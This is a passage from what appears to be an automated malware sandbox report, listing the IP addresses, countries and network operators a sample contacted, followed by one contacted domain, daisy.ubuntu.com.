 unknown United States
7922 COMCAST-7922US false
179.251.73.120
 unknown Brazil
26615 TIMSABR false
189.181.71.203
 unknown Mexico
8151 UninetSAdeCVMX false
128.169.54.96
 unknown United States
16989 UTMEMUS false
100.154.165.85
 unknown United States
21928 T-MOBILE-AS21928US false
41.167.100.110
 unknown South Africa
36937 Neotel-ASZA false
216.123.128.148
 unknown Canada
15290 ALLST-15290CA false
159.199.123.49
 unknown United States
11363 FUJITSU-USAUS false
41.240.169.18
 unknown Sudan
36998 SDN-MOBITELSD false
207.78.239.133
 unknown United States
701 UUNETUS false
206.181.197.5
 unknown United States
2828 XO-AS15US false
63.117.66.196
 unknown United States
55218 ARCHEGOS-NYUS false
44.213.56.181
 unknown United States
14618 AMAZON-AESUS false
54.103.47.113
 unknown United States
16509 AMAZON-02US false
13.13.5.248
 unknown United States
22390 XEROX-WBUS false
110.89.201.53
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
117.83.134.99
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
220.13.132.23
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
175.106.141.67
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
57.191.201.84
 unknown Belgium
11868 ATICLOUD-ATLUS false
82.115.90.167
 unknown Poland
16340 IS-ASNIS-NETAutonomousSystemPL false
196.74.188.47
 unknown Morocco
36903 MT-MPLSMA false
64.1.216.169
 unknown United States
2828 XO-AS15US false
207.210.27.199
 unknown Canada
35843 AS-RCC-SCLCA false
124.146.49.219
 unknown Korea Republic of
17586 NARATV-AS-KRLGHelloVisionCorpKR false
9.173.226.173
 unknown United States
3356 LEVEL3US false
125.5.192.251
 unknown Philippines
7629 EPLDT-AS-AP5FLVLocsinBldgPH false
211.3.188.145
 unknown Japan 4725 ODNSoftBankMobileCorpJP false
173.180.42.128
 unknown Canada
852 ASN852CA false
107.22.109.205
 unknown United States
14618 AMAZON-AESUS false
58.101.176.64
 unknown China
24139 WASUHZHuashumediaNetworkLimitedCN false
150.231.217.219
 unknown United States
3999 PENN-STATEUS false
117.186.47.28
 unknown China
24400 CMNET-V4SHANGHAI-AS-APShanghaiMobileCommunicationsCoLt false
44.92.45.13
 unknown United States
7377 UCSDUS false
151.156.203.100
 unknown Sweden
205664 VATTENFALL-ABSE false
221.61.188.6
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
48.200.161.194
 unknown United States
2686 ATGS-MMD-ASUS false
140.157.176.250
 unknown United States
721 DNIC-ASBLK-00721-00726US false
8.195.206.69
 unknown United States
3356 LEVEL3US false
219.115.43.198
 unknown Japan 9617 ZAQJupiterTelecommunicationsCoLtdJP false
57.197.136.169
 unknown Belgium
2686 ATGS-MMD-ASUS false
175.203.98.13
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
217.22.110.141
 unknown Spain
15711 IBERDROLABilbaoES false
139.68.174.175
 unknown United States
9905 LINKNET-ID-APLinknetASNID false
157.16.140.3
 unknown Japan 24297 FCNUniversityPublicCorporationOsakaJP false
111.98.33.175
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
155.4.208.136
 unknown Norway
8473 BAHNHOFhttpwwwbahnhofnetSE false
191.172.93.23
 unknown Brazil
26615 TIMSABR false
70.99.60.178
 unknown United States
7385 ALLSTREAMUS false
214.157.132.228
 unknown United States
721 DNIC-ASBLK-00721-00726US false
221.151.202.228
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.25 true